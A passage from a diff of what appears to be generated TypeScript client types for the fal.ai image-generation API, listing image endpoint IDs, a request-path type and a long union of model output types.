'fal-ai/kling-image/o3/text-to-image': 'fal-ai/kling-image/o3/text-to-image', + 'fal-ai/kling-image/v3/image-to-image': + 'fal-ai/kling-image/v3/image-to-image', + 'fal-ai/kling-image/v3/text-to-image': 'fal-ai/kling-image/v3/text-to-image', + 'fal-ai/kolors': 'fal-ai/kolors', + 'fal-ai/kolors/image-to-image': 'fal-ai/kolors/image-to-image', + 'fal-ai/krea-2/turbo': 'fal-ai/krea-2/turbo', + 'fal-ai/krea-2/turbo/lora': 'fal-ai/krea-2/turbo/lora', + 'fal-ai/krea-2/turbo/style': 'fal-ai/krea-2/turbo/style', + 'fal-ai/leffa/pose-transfer': 'fal-ai/leffa/pose-transfer', + 'fal-ai/leffa/virtual-tryon': 'fal-ai/leffa/virtual-tryon', + 'fal-ai/live-portrait/image': 'fal-ai/live-portrait/image', + 'fal-ai/longcat-image': 'fal-ai/longcat-image', + 'fal-ai/longcat-image/edit': 'fal-ai/longcat-image/edit', + 'fal-ai/lora': 'fal-ai/lora', + 'fal-ai/lora/image-to-image': 'fal-ai/lora/image-to-image', + 'fal-ai/lora/inpaint': 'fal-ai/lora/inpaint', + 'fal-ai/luma-photon': 'fal-ai/luma-photon', + 'fal-ai/luma-photon/flash': 'fal-ai/luma-photon/flash', + 'fal-ai/luma-photon/flash/modify': 'fal-ai/luma-photon/flash/modify', + 'fal-ai/luma-photon/flash/reframe': 'fal-ai/luma-photon/flash/reframe', + 'fal-ai/luma-photon/modify': 'fal-ai/luma-photon/modify', + 'fal-ai/luma-photon/reframe': 'fal-ai/luma-photon/reframe', + 'fal-ai/lumina-image/v2': 'fal-ai/lumina-image/v2', + 'fal-ai/marigold-v2': 'fal-ai/marigold-v2', + 'fal-ai/minimax/image-01': 'fal-ai/minimax/image-01', + 'fal-ai/minimax/image-01/subject-reference': + 'fal-ai/minimax/image-01/subject-reference', + 'fal-ai/moondream-next/detection': 'fal-ai/moondream-next/detection', + 'fal-ai/moondream3-preview/segment': 'fal-ai/moondream3-preview/segment', + 'fal-ai/moss-image': 'fal-ai/moss-image', + 'fal-ai/nafnet/deblur': 'fal-ai/nafnet/deblur', + 'fal-ai/nafnet/denoise': 'fal-ai/nafnet/denoise', + 'fal-ai/nano-banana': 'fal-ai/nano-banana', + 'fal-ai/nano-banana-2': 'fal-ai/nano-banana-2', + 'fal-ai/nano-banana-2/edit': 'fal-ai/nano-banana-2/edit', + 'fal-ai/nano-banana-pro': 'fal-ai/nano-banana-pro', + 'fal-ai/nano-banana-pro/edit': 'fal-ai/nano-banana-pro/edit', + 'fal-ai/nano-banana/edit': 'fal-ai/nano-banana/edit', + 'fal-ai/nucleus-image': 'fal-ai/nucleus-image', + 'fal-ai/object-removal': 'fal-ai/object-removal', + 'fal-ai/object-removal/bbox': 'fal-ai/object-removal/bbox', + 'fal-ai/object-removal/mask': 'fal-ai/object-removal/mask', + 'fal-ai/omnigen-v2': 'fal-ai/omnigen-v2', + 'fal-ai/patina': 'fal-ai/patina', + 'fal-ai/patina/material': 'fal-ai/patina/material', + 'fal-ai/patina/material/extract': 'fal-ai/patina/material/extract', + 'fal-ai/phota': 'fal-ai/phota', + 'fal-ai/phota/edit': 'fal-ai/phota/edit', + 'fal-ai/phota/enhance': 'fal-ai/phota/enhance', + 'fal-ai/post-processing': 'fal-ai/post-processing', + 'fal-ai/post-processing/blur': 'fal-ai/post-processing/blur', + 'fal-ai/post-processing/chromatic-aberration': + 'fal-ai/post-processing/chromatic-aberration', + 'fal-ai/post-processing/color-correction': + 'fal-ai/post-processing/color-correction', + 'fal-ai/post-processing/color-tint': 'fal-ai/post-processing/color-tint', + 'fal-ai/post-processing/desaturate': 'fal-ai/post-processing/desaturate', + 'fal-ai/post-processing/dissolve': 'fal-ai/post-processing/dissolve', + 'fal-ai/post-processing/dodge-burn': 'fal-ai/post-processing/dodge-burn', + 'fal-ai/post-processing/grain': 'fal-ai/post-processing/grain', + 'fal-ai/post-processing/parabolize': 'fal-ai/post-processing/parabolize', + 'fal-ai/post-processing/sharpen': 'fal-ai/post-processing/sharpen', + 'fal-ai/post-processing/solarize': 'fal-ai/post-processing/solarize', + 'fal-ai/post-processing/vignette': 'fal-ai/post-processing/vignette', + 'fal-ai/qwen-image': 'fal-ai/qwen-image', + 'fal-ai/qwen-image-2512': 'fal-ai/qwen-image-2512', + 'fal-ai/qwen-image-2512/lora': 'fal-ai/qwen-image-2512/lora', + 'fal-ai/qwen-image-edit-2509': 'fal-ai/qwen-image-edit-2509', + 'fal-ai/qwen-image-edit-2509-lora': 'fal-ai/qwen-image-edit-2509-lora', + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-2509-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-2509-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-2509-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-2509-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-2509-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-2509-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-2509-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-2509-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-2509-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit-2511': 'fal-ai/qwen-image-edit-2511', + 'fal-ai/qwen-image-edit-2511-multiple-angles': + 'fal-ai/qwen-image-edit-2511-multiple-angles', + 'fal-ai/qwen-image-edit-2511/lora': 'fal-ai/qwen-image-edit-2511/lora', + 'fal-ai/qwen-image-edit-lora': 'fal-ai/qwen-image-edit-lora', + 'fal-ai/qwen-image-edit-plus': 'fal-ai/qwen-image-edit-plus', + 'fal-ai/qwen-image-edit-plus-lora': 'fal-ai/qwen-image-edit-plus-lora', + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background': + 'fal-ai/qwen-image-edit-plus-lora-gallery/add-background', + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait': + 'fal-ai/qwen-image-edit-plus-lora-gallery/face-to-full-portrait', + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo': + 'fal-ai/qwen-image-edit-plus-lora-gallery/group-photo', + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product': + 'fal-ai/qwen-image-edit-plus-lora-gallery/integrate-product', + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration': + 'fal-ai/qwen-image-edit-plus-lora-gallery/lighting-restoration', + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles': + 'fal-ai/qwen-image-edit-plus-lora-gallery/multiple-angles', + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene': + 'fal-ai/qwen-image-edit-plus-lora-gallery/next-scene', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-element', + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting': + 'fal-ai/qwen-image-edit-plus-lora-gallery/remove-lighting', + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design': + 'fal-ai/qwen-image-edit-plus-lora-gallery/shirt-design', + 'fal-ai/qwen-image-edit/image-to-image': + 'fal-ai/qwen-image-edit/image-to-image', + 'fal-ai/qwen-image-edit/inpaint': 'fal-ai/qwen-image-edit/inpaint', + 'fal-ai/qwen-image-layered': 'fal-ai/qwen-image-layered', + 'fal-ai/qwen-image-layered/lora': 'fal-ai/qwen-image-layered/lora', + 'fal-ai/qwen-image/image-to-image': 'fal-ai/qwen-image/image-to-image', + 'fal-ai/recraft-20b': 'fal-ai/recraft-20b', + 'fal-ai/recraft/upscale/creative': 'fal-ai/recraft/upscale/creative', + 'fal-ai/recraft/upscale/crisp': 'fal-ai/recraft/upscale/crisp', + 'fal-ai/recraft/v3/image-to-image': 'fal-ai/recraft/v3/image-to-image', + 'fal-ai/recraft/v3/text-to-image': 'fal-ai/recraft/v3/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-image': + 'fal-ai/recraft/v4.1/pro/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-vector': + 'fal-ai/recraft/v4.1/pro/text-to-vector', + 'fal-ai/recraft/v4.1/text-to-image': 'fal-ai/recraft/v4.1/text-to-image', + 'fal-ai/recraft/v4.1/text-to-vector': 'fal-ai/recraft/v4.1/text-to-vector', + 'fal-ai/recraft/v4.1/utility/pro/text-to-image': + 'fal-ai/recraft/v4.1/utility/pro/text-to-image', + 'fal-ai/recraft/v4.1/utility/text-to-image': + 'fal-ai/recraft/v4.1/utility/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-image': 'fal-ai/recraft/v4/pro/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-vector': + 'fal-ai/recraft/v4/pro/text-to-vector', + 'fal-ai/recraft/v4/text-to-image': 'fal-ai/recraft/v4/text-to-image', + 'fal-ai/recraft/v4/text-to-vector': 'fal-ai/recraft/v4/text-to-vector', + 'fal-ai/recraft/vectorize': 'fal-ai/recraft/vectorize', + 'fal-ai/retoucher': 'fal-ai/retoucher', + 'fal-ai/rife': 'fal-ai/rife', + 'fal-ai/sam-3-1/image': 'fal-ai/sam-3-1/image', + 'fal-ai/sam-3-1/image-rle': 'fal-ai/sam-3-1/image-rle', + 'fal-ai/sam-3/image': 'fal-ai/sam-3/image', + 'fal-ai/sam-3/image-rle': 'fal-ai/sam-3/image-rle', + 'fal-ai/sam2/auto-segment': 'fal-ai/sam2/auto-segment', + 'fal-ai/sam2/image': 'fal-ai/sam2/image', + 'fal-ai/sana': 'fal-ai/sana', + 'fal-ai/sana/sprint': 'fal-ai/sana/sprint', + 'fal-ai/sana/v1.5/1.6b': 'fal-ai/sana/v1.5/1.6b', + 'fal-ai/sana/v1.5/4.8b': 'fal-ai/sana/v1.5/4.8b', + 'fal-ai/sdxl-controlnet-union': 'fal-ai/sdxl-controlnet-union', + 'fal-ai/sdxl-controlnet-union/image-to-image': + 'fal-ai/sdxl-controlnet-union/image-to-image', + 'fal-ai/sdxl-controlnet-union/inpainting': + 'fal-ai/sdxl-controlnet-union/inpainting', + 'fal-ai/seedvr/upscale/image': 'fal-ai/seedvr/upscale/image', + 'fal-ai/seedvr/upscale/image/seamless': + 'fal-ai/seedvr/upscale/image/seamless', + 'fal-ai/smart-resize': 'fal-ai/smart-resize', + 'fal-ai/stable-diffusion-v15': 'fal-ai/stable-diffusion-v15', + 'fal-ai/stable-diffusion-v3-medium': 'fal-ai/stable-diffusion-v3-medium', + 'fal-ai/stable-diffusion-v3-medium/image-to-image': + 'fal-ai/stable-diffusion-v3-medium/image-to-image', + 'fal-ai/stable-diffusion-v35-large': 'fal-ai/stable-diffusion-v35-large', + 'fal-ai/stable-diffusion-v35-medium': 'fal-ai/stable-diffusion-v35-medium', + 'fal-ai/stepx-edit2': 'fal-ai/stepx-edit2', + 'fal-ai/telestyle-v2': 'fal-ai/telestyle-v2', + 'fal-ai/uso': 'fal-ai/uso', + 'fal-ai/vidu/q2/reference-to-image': 'fal-ai/vidu/q2/reference-to-image', + 'fal-ai/vidu/q2/text-to-image': 'fal-ai/vidu/q2/text-to-image', + 'fal-ai/vidu/reference-to-image': 'fal-ai/vidu/reference-to-image', + 'fal-ai/wan-25-preview/image-to-image': + 'fal-ai/wan-25-preview/image-to-image', + 'fal-ai/wan-25-preview/text-to-image': 'fal-ai/wan-25-preview/text-to-image', + 'fal-ai/wan/v2.2-5b/text-to-image': 'fal-ai/wan/v2.2-5b/text-to-image', + 'fal-ai/wan/v2.2-a14b/image-to-image': 'fal-ai/wan/v2.2-a14b/image-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image': 'fal-ai/wan/v2.2-a14b/text-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image/lora': + 'fal-ai/wan/v2.2-a14b/text-to-image/lora', + 'fal-ai/wan/v2.7/edit': 'fal-ai/wan/v2.7/edit', + 'fal-ai/wan/v2.7/pro/edit': 'fal-ai/wan/v2.7/pro/edit', + 'fal-ai/wan/v2.7/pro/text-to-image': 'fal-ai/wan/v2.7/pro/text-to-image', + 'fal-ai/wan/v2.7/text-to-image': 'fal-ai/wan/v2.7/text-to-image', + 'fal-ai/workflow-utilities/extract-nth-frame': + 'fal-ai/workflow-utilities/extract-nth-frame', + 'fal-ai/z-image/base': 'fal-ai/z-image/base', + 'fal-ai/z-image/base/lora': 'fal-ai/z-image/base/lora', + 'fal-ai/z-image/turbo': 'fal-ai/z-image/turbo', + 'fal-ai/z-image/turbo/controlnet': 'fal-ai/z-image/turbo/controlnet', + 'fal-ai/z-image/turbo/controlnet/lora': + 'fal-ai/z-image/turbo/controlnet/lora', + 'fal-ai/z-image/turbo/image-to-image': 'fal-ai/z-image/turbo/image-to-image', + 'fal-ai/z-image/turbo/image-to-image/lora': + 'fal-ai/z-image/turbo/image-to-image/lora', + 'fal-ai/z-image/turbo/inpaint': 'fal-ai/z-image/turbo/inpaint', + 'fal-ai/z-image/turbo/inpaint/lora': 'fal-ai/z-image/turbo/inpaint/lora', + 'fal-ai/z-image/turbo/lora': 'fal-ai/z-image/turbo/lora', + 'fal-ai/z-image/turbo/tiling': 'fal-ai/z-image/turbo/tiling', + 'fal-ai/z-image/turbo/tiling/lora': 'fal-ai/z-image/turbo/tiling/lora', + 'google/nano-banana-2-lite': 'google/nano-banana-2-lite', + 'google/nano-banana-2.1': 'google/nano-banana-2.1', + 'google/nano-banana-2.1/edit': 'google/nano-banana-2.1/edit', + 'google/nano-banana-lite': 'google/nano-banana-lite', + 'google/nano-banana-lite/edit': 'google/nano-banana-lite/edit', + 'google/virtual-try-on': 'google/virtual-try-on', + 'hitem3d/hi3d/image-to-relief': 'hitem3d/hi3d/image-to-relief', + 'ideogram/v4': 'ideogram/v4', + 'ideogram/v4.5': 'ideogram/v4.5', + 'ideogram/v4.5/edit': 'ideogram/v4.5/edit', + 'ideogram/v4/fast': 'ideogram/v4/fast', + 'ideogram/v4/image-to-image': 'ideogram/v4/image-to-image', + 'ideogram/v4/image-to-image/lora': 'ideogram/v4/image-to-image/lora', + 'ideogram/v4/instant': 'ideogram/v4/instant', + 'ideogram/v4/lora': 'ideogram/v4/lora', + 'ideogram/v4/tiling': 'ideogram/v4/tiling', + 'ideogram/v4/tiling/lora': 'ideogram/v4/tiling/lora', + 'ideogram/vector/image-to-vector': 'ideogram/vector/image-to-vector', + 'ideogram/vector/text-to-vector': 'ideogram/vector/text-to-vector', + 'krea/v2/large/text-to-image': 'krea/v2/large/text-to-image', + 'krea/v2/medium/text-to-image': 'krea/v2/medium/text-to-image', + 'krea/v2/medium/turbo/text-to-image': 'krea/v2/medium/turbo/text-to-image', + 'krea/v3/edit': 'krea/v3/edit', + 'krea/v3/realtime': 'krea/v3/realtime', + 'krea/v3/text-to-image': 'krea/v3/text-to-image', + 'luma/agent/uni-1/v1/edit': 'luma/agent/uni-1/v1/edit', + 'luma/agent/uni-1/v1/max': 'luma/agent/uni-1/v1/max', + 'luma/agent/uni-1/v1/max/edit': 'luma/agent/uni-1/v1/max/edit', + 'luma/agent/uni-1/v1/text-to-image': 'luma/agent/uni-1/v1/text-to-image', + 'meta/muse-image/edit': 'meta/muse-image/edit', + 'meta/muse-image/text-to-image': 'meta/muse-image/text-to-image', + 'microsoft/mai-image-2.5': 'microsoft/mai-image-2.5', + 'microsoft/mai-image-2.5-pro': 'microsoft/mai-image-2.5-pro', + 'microsoft/mai-image-2.5-pro/edit': 'microsoft/mai-image-2.5-pro/edit', + 'microsoft/mai-image-2.5/edit': 'microsoft/mai-image-2.5/edit', + 'nvidia/cosmos-3-super/text-to-image': 'nvidia/cosmos-3-super/text-to-image', + 'openai/gpt-image-2': 'openai/gpt-image-2', + 'openai/gpt-image-2.5/flare/edit': 'openai/gpt-image-2.5/flare/edit', + 'openai/gpt-image-2.5/flare/text-to-image': + 'openai/gpt-image-2.5/flare/text-to-image', + 'openai/gpt-image-2.5/sunburst/edit': 'openai/gpt-image-2.5/sunburst/edit', + 'openai/gpt-image-2.5/sunburst/text-to-image': + 'openai/gpt-image-2.5/sunburst/text-to-image', + 'openai/gpt-image-2.6/flare/edit': 'openai/gpt-image-2.6/flare/edit', + 'openai/gpt-image-2.6/flare/text-to-image': + 'openai/gpt-image-2.6/flare/text-to-image', + 'openai/gpt-image-2.6/sunburst/edit': 'openai/gpt-image-2.6/sunburst/edit', + 'openai/gpt-image-2.6/sunburst/text-to-image': + 'openai/gpt-image-2.6/sunburst/text-to-image', + 'openai/gpt-image-2/edit': 'openai/gpt-image-2/edit', + 'pixelcut/background-removal': 'pixelcut/background-removal', + 'pixelcut/product-photo': 'pixelcut/product-photo', + 'recraft/v4.1/flash/text-to-image': 'recraft/v4.1/flash/text-to-image', + 'recraft/v4/style/pro/text-to-image': 'recraft/v4/style/pro/text-to-image', + 'recraft/v4/style/pro/text-to-vector': 'recraft/v4/style/pro/text-to-vector', + 'recraft/v4/style/text-to-image': 'recraft/v4/style/text-to-image', + 'recraft/v4/style/text-to-vector': 'recraft/v4/style/text-to-vector', + 'rundiffusion-fal/juggernaut-flux/base': + 'rundiffusion-fal/juggernaut-flux/base', + 'rundiffusion-fal/juggernaut-flux/base/image-to-image': + 'rundiffusion-fal/juggernaut-flux/base/image-to-image', + 'rundiffusion-fal/juggernaut-flux/lightning': + 'rundiffusion-fal/juggernaut-flux/lightning', + 'rundiffusion-fal/juggernaut-flux/pro': + 'rundiffusion-fal/juggernaut-flux/pro', + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image': + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image', + 'rundiffusion-fal/rundiffusion-photo-flux': + 'rundiffusion-fal/rundiffusion-photo-flux', + 'smoretalk-ai/rembg-enhance': 'smoretalk-ai/rembg-enhance', + 'topaz/adjust/image': 'topaz/adjust/image', + 'topaz/denoise/image': 'topaz/denoise/image', + 'topaz/restore/image': 'topaz/restore/image', + 'topaz/sharpen/image': 'topaz/sharpen/image', + 'topaz/upscale/image/creative': 'topaz/upscale/image/creative', + 'topaz/upscale/image/generative': 'topaz/upscale/image/generative', + 'topaz/upscale/image/precision': 'topaz/upscale/image/precision', + 'topaz/upscale/image/transparent': 'topaz/upscale/image/transparent', + 'wan/v2.6/image-to-image': 'wan/v2.6/image-to-image', + 'wan/v2.6/text-to-image': 'wan/v2.6/text-to-image', + 'xai/grok-imagine-image': 'xai/grok-imagine-image', + 'xai/grok-imagine-image/edit': 'xai/grok-imagine-image/edit', + 'xai/grok-imagine-image/quality/edit': 'xai/grok-imagine-image/quality/edit', + 'xai/grok-imagine-image/quality/text-to-image': + 'xai/grok-imagine-image/quality/text-to-image', + 'xai/grok-imagine-image/v2.0/edit': 'xai/grok-imagine-image/v2.0/edit', + 'xai/grok-imagine-image/v2.0/text-to-image': + 'xai/grok-imagine-image/v2.0/text-to-image', +} as const + +export type FalGetEndpointIdRequestsRequestIdEndpointIdKey = + (typeof falGetEndpointIdRequestsRequestIdEndpointId)[keyof typeof falGetEndpointIdRequestsRequestIdEndpointId] + +export type FalGetEndpointIdRequestsRequestIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalGetEndpointIdRequestsRequestIdEndpointIdKey + request_id: string +} + +export type FalGetEndpointIdRequestsRequestIdStatus200 = + | OutputAlibabaQwenImage3Edit + | OutputAlibabaQwenImage3TextToImage + | OutputBlackforestlabsFlux3EditImage + | OutputBlackforestlabsFlux3KleinBaseEditImageLora + | OutputBlackforestlabsFlux3KleinBaseTextToImageLora + | OutputBlackforestlabsFlux3KleinEditImage + | OutputBlackforestlabsFlux3KleinEditImageLora + | OutputBlackforestlabsFlux3KleinTextToImage + | OutputBlackforestlabsFlux3KleinTextToImageLora + | OutputBlackforestlabsFlux3TextToImage + | OutputBriaEmbedProduct + | OutputBriaExtractObject + | OutputBriaFibo2Edit + | OutputBriaFibo2Generate + | OutputBriaFiboBbqPreviewGenerate + | OutputBriaFiboEdit15Edit + | OutputBriaFiboEdit15Expand + | OutputBriaFiboEdit15ProductHolding + | OutputBriaFiboEdit15VirtualTryOn + | OutputBriaFiboEditAddObjectByText + | OutputBriaFiboEditBlend + | OutputBriaFiboEditColorize + | OutputBriaFiboEditEdit + | OutputBriaFiboEditEraseByText + | OutputBriaFiboEditRelight + | OutputBriaFiboEditReplaceObjectByText + | OutputBriaFiboEditReseason + | OutputBriaFiboEditRestore + | OutputBriaFiboEditRestyle + | OutputBriaFiboEditRewriteText + | OutputBriaFiboEditSketchToColoredImage + | OutputBriaFiboGen15TextToImage + | OutputBriaFiboLiteGenerate + | OutputBriaFiboGenerate + | OutputBriaGenfillV2 + | OutputBriaGuidedRemoveBackground + | OutputBriaIncreaseResolution + | OutputBriaProductDimensions + | OutputBriaReplaceBackground + | OutputBriaUpscaleCreative + | OutputBytedanceSeedreamV5FlashEdit + | OutputBytedanceSeedreamV5FlashLayerize + | OutputBytedanceSeedreamV5FlashTextToImage + | OutputBytedanceSeedreamV5LiteEdit + | OutputBytedanceSeedreamV5LiteTextToImage + | OutputBytedanceSeedreamV5ProEdit + | OutputBytedanceSeedreamV5ProLayerize + | OutputBytedanceSeedreamV5ProTextToImage + | OutputClarityaiCrystalUpscaler + | OutputFalAiAuraSr + | OutputFalAiBagel + | OutputFalAiBagelEdit + | OutputFalAiBenV2Image + | OutputFalAiBirefnet + | OutputFalAiBirefnetV2 + | OutputFalAiBooguImage + | OutputFalAiBooguImageEdit + | OutputFalAiBriaBackgroundRemove + | OutputFalAiBriaBackgroundReplace + | OutputFalAiBriaEraser + | OutputFalAiBriaExpand + | OutputFalAiBriaGenfill + | OutputFalAiBriaProductShot + | OutputFalAiBriaReimagine + | OutputFalAiBriaTextToImageBase + | OutputFalAiBriaTextToImageFast + | OutputFalAiBriaTextToImageHd + | OutputFalAiBytedanceSeedreamV45Edit + | OutputFalAiBytedanceSeedreamV45TextToImage + | OutputFalAiBytedanceSeedreamV4Edit + | OutputFalAiBytedanceSeedreamV4TextToImage + | OutputFalAiCatVton + | OutputFalAiClarityUpscaler + | OutputFalAiCodeformer + | OutputFalAiControlLight + | OutputFalAiCreativeUpscaler + | OutputFalAiDdcolor + | OutputFalAiDwpose + | OutputFalAiEmu35ImageEditImage + | OutputFalAiEmu35ImageTextToImage + | OutputFalAiErnieImage + | OutputFalAiErnieImageLora + | OutputFalAiErnieImageLoraTurbo + | OutputFalAiErnieImageTurbo + | OutputFalAiEsrgan + | OutputFalAiEvfSam + | OutputFalAiFashnTryonV15 + | OutputFalAiFashnTryonV16 + | OutputFalAiFastLcmDiffusion + | OutputFalAiFastLcmDiffusionImageToImage + | OutputFalAiFastLcmDiffusionInpainting + | OutputFalAiFastLightningSdxl + | OutputFalAiFastLightningSdxlImageToImage + | OutputFalAiFastLightningSdxlInpainting + | OutputFalAiFastSdxl + | OutputFalAiFastSdxlImageToImage + | OutputFalAiFastSdxlInpainting + | OutputFalAiFeynobg + | OutputFalAiFfmpegApiExtractFrame + | OutputFalAiFilm + | OutputFalAiFinegrainEraser + | OutputFalAiFinegrainEraserBbox + | OutputFalAiFinegrainEraserMask + | OutputFalAiFireredImageEditV11 + | OutputFalAiFlorence2LargeCaptionToPhraseGrounding + | OutputFalAiFlorence2LargeDenseRegionCaption + | OutputFalAiFlorence2LargeObjectDetection + | OutputFalAiFlorence2LargeOcrWithRegion + | OutputFalAiFlorence2LargeOpenVocabularyDetection + | OutputFalAiFlorence2LargeReferringExpressionSegmentation + | OutputFalAiFlorence2LargeRegionProposal + | OutputFalAiFlorence2LargeRegionToSegmentation + | OutputFalAiFlux1Dev + | OutputFalAiFlux1DevImageToImage + | OutputFalAiFlux1DevRedux + | OutputFalAiFlux1Krea + | OutputFalAiFlux1KreaImageToImage + | OutputFalAiFlux1KreaRedux + | OutputFalAiFlux1Schnell + | OutputFalAiFlux1SchnellRedux + | OutputFalAiFlux1Srpo + | OutputFalAiFlux1SrpoImageToImage + | OutputFalAiFlux2 + | OutputFalAiFlux2Flex + | OutputFalAiFlux2FlexEdit + | OutputFalAiFlux2LoraGalleryAddBackground + | OutputFalAiFlux2LoraGalleryApartmentStaging + | OutputFalAiFlux2LoraGalleryBallpointPenSketch + | OutputFalAiFlux2LoraGalleryDigitalComicArt + | OutputFalAiFlux2LoraGalleryFaceToFullPortrait + | OutputFalAiFlux2LoraGalleryHdrStyle + | OutputFalAiFlux2LoraGalleryMultipleAngles + | OutputFalAiFlux2LoraGalleryRealism + | OutputFalAiFlux2LoraGallerySatelliteViewStyle + | OutputFalAiFlux2LoraGallerySepiaVintage + | OutputFalAiFlux2LoraGalleryVirtualTryon + | OutputFalAiFlux2Max + | OutputFalAiFlux2MaxEdit + | OutputFalAiFlux2Pro + | OutputFalAiFlux2ProEdit + | OutputFalAiFlux2ProOutpaint + | OutputFalAiFlux2Edit + | OutputFalAiFlux2Flash + | OutputFalAiFlux2FlashEdit + | OutputFalAiFlux2Klein4B + | OutputFalAiFlux2Klein4BBase + | OutputFalAiFlux2Klein4BBaseEdit + | OutputFalAiFlux2Klein4BBaseEditLora + | OutputFalAiFlux2Klein4BBaseLora + | OutputFalAiFlux2Klein4BEdit + | OutputFalAiFlux2Klein4BEditLora + | OutputFalAiFlux2Klein4BLora + | OutputFalAiFlux2Klein9B + | OutputFalAiFlux2Klein9BBase + | OutputFalAiFlux2Klein9BBaseEdit + | OutputFalAiFlux2Klein9BBaseEditLora + | OutputFalAiFlux2Klein9BBaseLora + | OutputFalAiFlux2Klein9BEdit + | OutputFalAiFlux2Klein9BEditLora + | OutputFalAiFlux2Klein9BLora + | OutputFalAiFlux2KleinRealtime + | OutputFalAiFlux2Lora + | OutputFalAiFlux2LoraEdit + | OutputFalAiFlux2Turbo + | OutputFalAiFlux2TurboEdit + | OutputFalAiFluxGeneral + | OutputFalAiFluxGeneralDifferentialDiffusion + | OutputFalAiFluxGeneralImageToImage + | OutputFalAiFluxGeneralInpainting + | OutputFalAiFluxGeneralRfInversion + | OutputFalAiFluxKontextLora + | OutputFalAiFluxKontextLoraInpaint + | OutputFalAiFluxKontextLoraTextToImage + | OutputFalAiFluxKontextDev + | OutputFalAiFluxKreaLora + | OutputFalAiFluxKreaLoraImageToImage + | OutputFalAiFluxKreaLoraInpainting + | OutputFalAiFluxKreaLoraStream + | OutputFalAiFluxLora + | OutputFalAiFluxLoraCanny + | OutputFalAiFluxLoraDepth + | OutputFalAiFluxLoraFill + | OutputFalAiFluxLoraImageToImage + | OutputFalAiFluxLoraInpainting + | OutputFalAiFluxLoraStream + | OutputFalAiFluxProKontext + | OutputFalAiFluxProKontextMax + | OutputFalAiFluxProKontextMaxMulti + | OutputFalAiFluxProKontextMaxTextToImage + | OutputFalAiFluxProKontextMulti + | OutputFalAiFluxProKontextTextToImage + | OutputFalAiFluxProV11 + | OutputFalAiFluxProV11Ultra + | OutputFalAiFluxProV11UltraFinetuned + | OutputFalAiFluxProV11UltraRedux + | OutputFalAiFluxProV11Redux + | OutputFalAiFluxProV1Erase + | OutputFalAiFluxProV1Fill + | OutputFalAiFluxProV1FillFinetuned + | OutputFalAiFluxProV1Vto + | OutputFalAiFluxPulid + | OutputFalAiFluxVisionUpscaler + | OutputFalAiFluxDev + | OutputFalAiFluxDevImageToImage + | OutputFalAiFluxDevRedux + | OutputFalAiFluxKrea + | OutputFalAiFluxKreaImageToImage + | OutputFalAiFluxKreaRedux + | OutputFalAiFluxSchnell + | OutputFalAiFluxSchnellRedux + | OutputFalAiFluxSrpo + | OutputFalAiFluxSrpoImageToImage + | OutputFalAiFooocus + | OutputFalAiFooocusImagePrompt + | OutputFalAiFooocusInpaint + | OutputFalAiFooocusUpscaleOrVary + | OutputFalAiGemini25FlashImage + | OutputFalAiGemini25FlashImageEdit + | OutputFalAiGemini3ProImagePreview + | OutputFalAiGemini3ProImagePreviewEdit + | OutputFalAiGemini31FlashImagePreview + | OutputFalAiGemini31FlashImagePreviewEdit + | OutputFalAiGlmImage + | OutputFalAiGlmImageImageToImage + | OutputFalAiGptImage1Mini + | OutputFalAiGptImage1MiniEdit + | OutputFalAiGptImage15 + | OutputFalAiGptImage15Edit + | OutputFalAiHidreamI1Fast + | OutputFalAiHidreamI1Full + | OutputFalAiHidreamI1FullImageToImage + | OutputFalAiHidreamO1Image + | OutputFalAiHidreamO1ImageDev + | OutputFalAiHidreamO1ImageDevEdit + | OutputFalAiHidreamO1ImageEdit + | OutputFalAiHunyuanWorld + | OutputFalAiHunyuanImageV21TextToImage + | OutputFalAiHunyuanImageV3InstructEdit + | OutputFalAiHunyuanImageV3InstructTextToImage + | OutputFalAiHunyuanImageV3TextToImage + | OutputFalAiHyWuEdit + | OutputFalAiIclightV2 + | OutputFalAiIdeogramCharacter + | OutputFalAiIdeogramCharacterEdit + | OutputFalAiIdeogramCharacterRemix + | OutputFalAiIdeogramObjectRemoval + | 